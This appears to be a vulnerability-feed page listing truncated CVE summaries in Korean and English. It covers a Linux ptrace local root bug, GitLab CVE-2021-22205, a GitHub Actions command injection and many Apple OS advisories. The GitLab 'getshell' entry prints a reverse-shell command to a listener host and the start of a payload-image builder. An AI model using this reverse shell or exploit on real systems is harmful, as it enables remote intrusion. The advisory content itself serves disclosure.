CVE-2019-13272

CVE-2019-13272 Linux 로컬 루트 익스플로잇 Linux 4.10 5.1.17 PTRACETRACEME 로컬 루트 CVE-2019-13272 root@kitploit: In the Linux kernel before 5.1.17, ptracelink in kernel/ptrace.c mishandles the recording of the credentials of a process that wants to create a ptrace relationship, which allows local users to...

CVE-2009-4660

CVE-2009-4660...

Linux Distros Unpatched Vulnerability : CVE-2026-84635

The Linux/Unix host has one or more packages installed that are impacted by a vulnerability without a vendor supplied patch available. - A logic issue was addressed with improved state management. This issue is fixed in Safari 27, iOS 27 and iPadOS 27, macOS Golden Gate 27, tvOS 27, visionOS 27,...

CVE-2021-22205-getshell

CVE-2021-22205-getshell CVE-2021-22205-getshell 테스트 버전 취약점 악용 명령 생성 root@kitploit: echo 'bash -i & /dev/tcp/192.168.147.5/4444 0&1' /tmp/1.sh chmod +x /tmp/1.sh /bin/bash /tmp/1.sh djvumake를 이용한 취약점 악용 이미지 생성 root@kitploit: import os payloads= "echo 'bash -i & /dev/tcp/192.168.147.5/4444 0&1'...

CVE-2016-2555

CVE-2016-2555 CVE-2016-2555...

CVE-2015-6612

CVE-2015-6612 취약점에 대한 자세한 내용은 description.pdf를 참조하세요. 이 버그에 관한 저의 슬픈 이야기: 저는 작년 3월에 ZDI에 이 문제를 신고했습니다. 처음에는 최신 Android에서 재현할 수 없다고 말했고, 반 달 동안의 커뮤니케이션 끝에 버그 인수를 추구하지 않기로 결정했습니다. 이 버그를 오래 보유하고 있다가 2015년 8월 21일에 Google에 신고했지만, 중복 이슈가 되었습니다. https://code.google.com/p/android/issues/detail?id=183414...

CVE-2022-37969

CVE-2022-37969...

CVE-2021-28378

CVE-2021-28378 이 CVE에 대한 자세한 내용은 여기에서 확인할 수 있습니다. 이 CVE는 서버에서 가져온 콘텐츠의 클라이언트 측에서 문자열 이스케이프가 누락된 것을 대상으로 합니다. 공격자가 이슈나 풀 리퀘스트에 댓글을 작성하여 쉽게 임의 코드를 주입할 수 있게 합니다. 이는 2020년 1월 말에 커밋 7d7ab1eeae43d99fe329878ac9c8db5e45e2dee5에서 도입되었지만, 스쿼시squash 때문에 정확히 누가 이 취약점을 도입했는지와 유사한 버그가 도입되었는지 조사할 수 없습니다. 먼저, 이...

CVE-2026-58502

githubtoplanguages generates a user's top GitHub languages as an SVG. The .github/workflows/discord-issue.yml workflow runs when an issue is opened or closed and interpolates github.event.issue.title directly into the Bash assignment for ISSUETITLE before shell parsing. An issue title containing...

CVE-2026-58502

githubtoplanguages , a tool that renders a user's top GitHub languages as an SVG, is affected by a command injection in its .github/workflows/discord-issue.yml GitHub Actions workflow. The workflow interpolates github.event.issue.title directly into a Bash assignment before shell parsing, so any ...

CVE-2021-28235

이 저장소에는 README가 없습니다...

CVE-2026-86910

A permissions issue was addressed with improved path validation. This issue is fixed in macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7. An application may be able to access restricted files...

CVE-2026-86917

A permissions issue was addressed with additional restrictions. This issue is fixed in macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7. An app may be able to gain root privileges...

CVE-2026-86909

A logic issue was addressed with improved state management. This issue is fixed in macOS Golden Gate 27. An app may be able to bypass Gatekeeper checks...

CVE-2026-86894

A logic issue was addressed with improved checks. This issue is fixed in macOS Golden Gate 27. An app may be able to break out of its sandbox...

CVE-2026-86898

A logic issue was addressed with improved state management. This issue is fixed in Safari 27, iOS 27 and iPadOS 27, macOS Golden Gate 27, visionOS 27. Opening a maliciously crafted webarchive file may lead to universal cross-site scripting...

CVE-2026-86893

A permissions issue was addressed with additional restrictions. This issue is fixed in iOS 27 and iPadOS 27, tvOS 27, visionOS 27, watchOS 27. An app may be able to read device name...

CVE-2026-86883

A privacy issue was addressed with improved handling of files. This issue is fixed in iOS 27 and iPadOS 27, visionOS 27. An app may be able to access sensitive user data...

CVE-2026-86884

A permissions issue was addressed with additional restrictions. This issue is fixed in iOS 27 and iPadOS 27, macOS Golden Gate 27, tvOS 27, watchOS 27. An app may be able to access sensitive user data...

CVE-2026-86888

A permissions issue was addressed with additional restrictions. This issue is fixed in iOS 27 and iPadOS 27, macOS Golden Gate 27, macOS Tahoe 26.7, tvOS 27, visionOS 27, watchOS 27. A local app may be able to read a persistent account identifier...